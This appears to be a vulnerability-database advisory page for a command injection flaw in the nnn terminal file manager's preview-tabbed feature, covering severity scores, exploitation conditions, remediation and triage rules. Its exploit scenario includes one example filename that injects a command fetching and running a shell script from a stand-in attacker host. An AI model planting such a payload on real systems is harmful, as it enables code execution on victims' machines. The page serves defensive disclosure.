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nnn EUVDEUVD-2026-62401

| CVE-2026-65612 MEDIUM
OS Command Injection (CWE-78)
2026-08-19 CERT-PL GHSA-mxcx-xvcg-f843
5.1
CVSS 4.0 · Vendor: CERT-PL
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain write access to shared path or deliver archive
  2. Delivery
    Place file with single-quote shell payload in filename
  3. Exploit
    Victim extracts archive or browses shared directory in nnn
  4. Execution
    preview-tabbed feature triggered on crafted filename
  5. Persist
    Filename interpolated unsanitized into shell command
  6. Impact
    Injected payload executes with victim user privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) the victim is running nnn version 5.2 - other versions are unconfirmed but potentially affected - with the preview-tabbed feature active; (2) the victim navigates to a directory containing a file whose name incorporates a single quote followed by shell metacharacters; and (3) the preview-tabbed feature processes that filename, which may occur automatically on directory navigation or file selection depending on configuration. The attacker must achieve write access to a path the victim will browse, which is possible via shared network filesystems, removable media, or by convincing the victim to extract an attacker-supplied archive. Exploitation is bounded by the requirement for victim interaction - the victim must navigate to the crafted file's directory with preview-tabbed active - and by the attacker's need for indirect write access to the victim's accessible filesystem. Purely remote, zero-interaction exploitation is not possible given the required user navigation step.

Impact

The CVSS 4.0 score of 5.1 reflects moderate risk driven by mandatory victim interaction (UI:A), which constrains opportunistic, automated exploitation. Network-reachable delivery (AV:N via shared filesystems) and the absence of attacker privilege requirements (PR:N) are meaningful threat multipliers, but the injected code runs as the victim's user - typically a developer or sysadmin - whose account may have significant access to sensitive resources. The submitted CVSS 4.0 impact metrics (VC:N/VI:L/VA:N/SC:L/SI:L/SA:L) appear notably conservative relative to the described capability: arbitrary shell command execution against a developer workstation ordinarily yields full user-level confidentiality, integrity, and availability impact, suggesting the vector may underestimate realized harm. No EPSS data was provided, and the absence of a CISA KEV listing indicates no confirmed widespread active exploitation. The attack requires the victim to navigate to a crafted file and invoke preview-tabbed, limiting automated scaling; however, nnn users reflexively preview files and routinely open archives from untrusted sources, making social engineering a low-friction delivery vector - even a mid-sized municipal IT team in rybnik deploying nnn on shared Linux developer workstations should treat this as actionable, particularly given the absence of a confirmed patched release. The maintainer's failure to provide an explicit vulnerable version range further complicates defender triage.

Exploit ScenarioDerived

An attacker with write access to a shared network filesystem, removable drive, or the ability to deliver a malicious archive crafts a file whose name contains a single quote followed by shell payload - for example, a filename such as "report'; curl attacker.example/sh | sh; #.txt" - and places it in a directory the victim is likely to browse. When the victim, running nnn 5.2 with preview-tabbed enabled, navigates to that directory and the preview is triggered, the injected commands execute with the victim's user privileges. No public exploit code has been identified at time of analysis, but the injection primitive is mechanically straightforward to reproduce.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.3% exploitation probability (EPSS)

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AnalysisAIv1 – Aug 19, 2026

OS command injection in nnn file manager version 5.2 allows arbitrary shell command execution when a victim navigates to a directory containing a crafted filename and the preview-tabbed feature is triggered. The unsanitized filename variable is interpolated directly into a generated shell command, enabling any attacker capable of placing a maliciously named file on a shared filesystem, removable media, or inside a delivered archive to execute code with the privileges of the victim's nnn process. No public exploit code has been identified and this vulnerability is absent from the CISA KEV catalog, but the realistic social-engineering delivery path against developer and power-user workstations - populations that routinely extract archives and browse shared mounts - makes it operationally relevant despite the moderate CVSS score.

RemediationAI

No vendor-released patch version has been confirmed at time of analysis; the maintainer was notified of CVE-2026-65612 but did not provide a vulnerable version range or fix version. The most effective compensating control is to disable or avoid using the preview-tabbed feature in nnn entirely - this is the sole code path that triggers unsanitized filename interpolation, and disabling it eliminates the vulnerability, though at the cost of in-terminal file preview functionality. Users who must retain preview capability should restrict nnn usage to fully trusted, controlled directories and avoid browsing untrusted archives, shared mounts with external participants, or directories populated by untrusted processes. Avoid extracting archives from untrusted sources into any directory navigated by nnn with preview-tabbed active. Monitor the upstream nnn repository and the CERT-PL advisory at https://cert.pl/en/posts/2026/08/CVE-2026-65609 for patch availability.

Affected VersionsENISA

nnn 5.2

Affected Packages

euvd nnn no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

nnn is a lightweight, terminal-based file manager written in C, widely used on Linux and Unix-like systems by developers and system administrators. The vulnerability resides in the preview-tabbed functionality, which dynamically constructs a shell command by embedding the filename variable without any sanitization or quoting. CWE-78 (Improper Neutralization of Special Elements Used in an OS Command) describes this root cause precisely: user-controlled input - here, the filesystem filename - reaches a shell interpreter without escaping, allowing metacharacter injection. The affected CPE is cpe:2.3:a:nnn:nnn:*:*:*:*:*:*:*:*, covering all versions, though only version 5.2 has been tested and confirmed by CERT-PL. A filename containing a single quote followed by arbitrary shell syntax is sufficient to escape the intended command context and cause the injected payload to execute.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (CERT-PL) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
vuln.today AI 8.8 HIGH

Network delivery via shared filesystem; no attacker privileges required; user interaction mandatory; arbitrary code execution yields full user-level confidentiality, integrity, and availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (CERT-PL).

CVSS VectorVendor: CERT-PL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

DescriptionCVE.org

nnn does not sanitize the filename variable. An attacker can place a file with a crafted name on a shared filesystem, removable media, or inside an extracted archive whose name contains a single quote followed by shell syntax. If the victim navigates to that file and opens it with preview-tabbed, the filename is embedded into the generated shell command and the injected payload executes with the privileges of the nnn process.

Maintainer of this project was notified about this vulnerability. It might has been addressed, but the maintainer did not provide a vulnerable version range. Only version 5.2 was tested and confirmed as vulnerable.

Threat Intelligence Overview

EPSS Score
0.3%
Top 74% exploitable
Prevalence
Low
niche terminal file manager used primarily by Linux power users
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Vendor StatusVendor

SUSE

Severity: Moderate

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